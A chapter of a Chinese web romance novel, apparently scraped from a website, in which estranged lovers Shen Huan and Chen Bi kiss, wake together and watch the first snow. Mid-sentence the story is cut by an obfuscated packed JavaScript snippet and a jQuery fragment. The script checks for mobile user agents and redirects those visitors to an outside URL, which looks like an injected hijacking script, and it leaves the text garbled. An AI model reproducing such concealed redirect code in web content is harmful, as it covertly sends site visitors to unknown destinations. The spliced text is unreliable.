18. 初雪
作品:《白璧追欢[破镜重圆]》 “我好不容易才梦见你,你为什么不肯多待一会儿?”
“沈欢,你就这么讨厌我吗?讨厌到连梦里都不肯我接近。”
“能不能、能不能多陪陪我?能不能别走?求你……”
卑微祈求尚未说完,话音突然中止,陈璧双眸微微睁大,呆呆感受神降般的柔软。
周遭一切都已不复存在,他的大脑如同故障的电脑程序,疯狂报错无法运行,只能知晓一件事,那张娇嫩如玫瑰的唇正轻缓吻过他的眼皮,慢慢舐走滑落的泪珠。
咸咸的,像大海的味道,表面风平浪静,实则波涛汹涌,但却能包容一切苦楚,温暖无边。
沈欢也不清楚自己为什么要这样做,反正等她反应过来时,她的双手已经攀着陈璧的肩,毫不犹豫地主动贴上薄唇。
数年没有饮酒的她,在今晚以这种方式品尝到了淡淡酒气。
她半阖眼帘,透过一片迷蒙,看见陈璧睫羽不断颤动,像将飞未飞的蝴蝶。
指腹轻轻划过男人侧颈,摸到突出的喉结,温柔打圈。
她感受到贴在腰间的大掌骤然紧缩,耳边喘息声愈浓,恨不得将碍事毛衣揉碎成凌乱。
两人粘在一起,一步一挪移到床边,沈欢按着陈璧的肩膀轻轻一推,他便顺从地躺倒下去,跌进柔软床被。
当然,不忘揽着她的腰。
如同小时候玩的叠叠乐玩具,沈欢趴在他厚实温暖的胸膛上,一条腿嵌入他的双腿之间,面容安静柔和,耳边是规律而急促的心跳声,仿佛荡在湖面小船上微微起伏。
她此刻无比清醒地认识到,这是她曾经失去、甚至会永远失去的怀抱。
不管当初原因为何,她确实伤害过一个深爱她的人,留下一道惨烈伤疤,并且,这条疤痕一直存在至今,阵痛不止,甚至醉酒以后也在折磨他。
陈璧也没有更进一步,做出越轨行为,大手规规矩矩搭在她的腰上,唯有醉眸中透出炽热,一瞬不瞬地盯着她,生怕眨个眼的工夫,怀中人就消失不见了。
沈欢轻笑,向上蹭挪身体,惹得男人咬牙闷哼一声。
她没有注意到这一点,直到两人的侧脸紧挨在一起,才满意停下。
“对不起呀,”她附在陈璧耳边,认认真真做出保证,“以后我都不会离开你了,你相信我一次好不好?”
他隐约感觉自己正在被温柔注视,沈欢眸子亮如繁星,透彻纯净,他能轻易从中找到倒影,耳边响起她的声音,令时间变得缓慢,似水流淌。
醉后不知天在水,满船清梦压星河。
“……好。”他轻声应下,慢慢阖上眼眸。
困意在此刻汹涌而来,陈璧抑制不住沉入梦乡,只是这次的梦境与以往不同,不再暗无天光,孤寂无依,有道光一直笼罩着他,温暖指引方向。
一直禁锢她的胳膊总算松懈,沈欢长舒一口气,撑起身子,小心翼翼从他怀里挪开,一骨碌滚躺在旁边,盯着黑黢黢天花板出神。
她的急促心跳还未完全平复,此刻正在疯狂彰显存在感,证明刚才发生的一切并非虚幻。
或许……陈璧是真心想和她复合的?并非为了报复?
若是早前冒出这个想法,她会笑自己痴心妄想,但是经过这段日子的相处,她不禁动摇了最初的念头。
如果他想报复她,有一万种更简单的方法,没必要通过联姻将两人绑在一条绳上共沉沦,还对沈家百般示好。
沈欢想着想着,思绪忍不住跑偏,她侧头看向陈璧,男人正陷入熟睡,面容恬静,全然放松的姿态。
如果……下周复查有一个好的结果,那她就勇敢一些吧。
翌日清晨,陈璧醒来时,发现身上清清爽爽,还穿着一套崭新睡衣,他按着额头皱眉,宿醉后的疲累感仍然挥之不去,头脑一阵阵晕沉。
他侧过头,待到看清枕边人时,眉眼一瞬间柔软,沈欢正蜷缩在他身边,像只慵懒猫儿,一只手压在脸下,长卷睫羽遮掩住好看的眸,睡得香甜。
他记不起昨晚发生了什么事情,大概猜测是沈欢带他回房间,也不知道她给他换衣服的时候,他究竟配不配合。
那他现在正睡在沈欢的闺房?
脑海中突然蹦出这个念头,陈璧顿时提起兴趣,目光扫过这片他以前未曾踏足过的空间。
地上铺着大块柔软毛毯,浅粉色窗帘随风轻轻晃荡,书桌上整齐摆着各类书籍,床尾梳妆台上,各种瓶瓶罐罐按照高矮胖瘦排列,仿佛正在接受军训。
“唔。”沈欢翻了个身,迷迷瞪瞪伸懒腰,隐约感觉自己的手打到了什么东西。
她茫然一瞬,一个激灵清醒过来,尴尬抬头。
陈璧正捂着下巴,目光幽怨地瞅她。
她赶紧嘿嘿笑着凑过去,讨好地揉搓被她打到的地方,一晚上过去,原本光净的下巴长出淡青色胡茬,摸起来手感奇奇怪怪。
“你还记得昨晚发生了什么事情吗?”淡红印子消失,沈欢收回手坐起来,旁敲侧击。
陈璧假装思考:“记得。”
“记得什么?”她紧张兮兮地盯着他。
陈璧不动声色观察她的表情:“你昨晚说你喜欢我。”
其实他一觉睡醒脑袋空空,什么也不记得,只能满嘴跑火车诈一诈她。
沈欢的脸涨红,抄起枕头拍在他肩膀上:“胡说八道!”
枕头柔软,杀伤力为零,陈璧笑着捏住枕头,轻轻一拽,沈欢便跌趴进他怀里,手胡乱撑到硬实的大腿上。
“别生气,确实是我胡说八道,其实昨晚我什么也不记得了。”陈璧自然揽住她的腰,不知道为何,总觉得这个姿势有些熟悉。
重心稳住以后,沈欢赶紧从他怀里逃出来,光脚蹦下床,踩在地毯上找棉拖鞋,试图让自己忙起来,从而掩饰臊红的脸。
陈璧弯腰帮忙,长臂一伸,却从床底拽出一个方方正正的小匣子,似乎年岁久远,边缘已经开始生锈。
“这是什么?”他心底升起几分好奇,摩挲着铁匣子问。
沈欢心头一跳,从他手中夺走匣子,匆匆将它塞回床底,含糊道:“没什么,小时候的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200593|164653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩具。”
陈璧投以探究目光,沈欢默默移开视线,抿唇不去看他。
屋内气氛凝固片刻,见她毫无解惑之意,他只好暂时作罢,找到她的拖鞋后摆放在地毯外,自行穿戴整齐,率先走出去,将独处的空间留给她。
沈欢坐回床边,垂头盯着床单边缘悬挂的流苏,仿佛可以透过它们看见那只铁匣子。
其实里面没有什么见不得人的东西,只是几本日记,几份写毁的情书,埋藏着她青春期的少女秘密。
……而陈璧在其中占据大半江山,在她的青春里熠熠生辉。
所以这些东西是万万不能让正主看见的,否则她真是要连夜钻地缝逃跑了。
吃完早饭,告别沈家父母,两人走出别墅。
寒风簌簌,沈欢裹着银色羽绒服搓手,呼出的热气于半空中散成一片白雾。
院子里,冬日寒梅恰好开放,枝条横斜,伸到沈欢面前,她忍不住手痒,挑落一朵捧在掌心,观察细小花蕊。
“这是我爸种给我妈的梅花。”她出声打破寂静,目光仍然定在剔透花瓣上。
陈璧侧头欣赏,没想到沈父看着严肃,却是个心思细腻的人,在爱情里颇懂浪漫。
只因爱人姓梅,便赠她一片盛放梅林。
“你的父母很相爱。”他轻声道。
沈欢点点头,伸出手,将这朵梅花放进他的西装口袋。
陈璧眸光黑亮,微微蜷缩手指,想要趁机攥着她的手不放开,却怕吓到她,只好努力按捺冲动,等待她的下一个动作。
她抽回手背在身后,面向他倒退着走,一蹦一跳,少见的活泼。
心上人仰头冲他笑,像一只狡黠狐狸:“好好保管,以后拿出这朵梅花,可以实现你的一个愿望。”
“前提是我能办到哦。”
他的视线死死锁住她,周围一切事物都不甚清晰,渐渐隐去,唯有这张明媚动人的面容烙印在他眼中,风华无双。
胸前口袋里沉甸甸的,装着的不单单是梅花,还有她宝贵如珍珠的许诺。
风声渐起,陈璧感觉脸上传来点滴冰凉,方才恍然回神。
耳边传来沈欢惊喜的叫喊:“陈璧,快抬头看,下雪啦!”
原来下雪了。
他倏然想起,那年冬天,同样的雪,别墅大门冰冷,隔绝了他和他的爱人。
自那以后,一别经年,不复相见。
现如今,遇上冬天的第一场雪,而她恰好陪在他身边。
雪花细细碎碎,落在沈欢的发梢眼睫上,亮晶晶湿漉漉,她的眸子生来纯情,此刻平添几分妩媚,兴奋地看着他,一颦一笑皆是风情。
陈璧忍不住伸手,用指腹轻轻沾走雪瓣,她不明所以,下意识眨动眼睛,睫羽便扑扫而过,带来一阵痒意,直直传到他心底。
世界逐渐染上一片洁白,此刻他的心情无比安宁,唇角忍不住溢出笑意。
他突然不讨厌雪了。
雷霆雨露,皆是天恩。
而沈欢,就是上天赐予他的宝贝。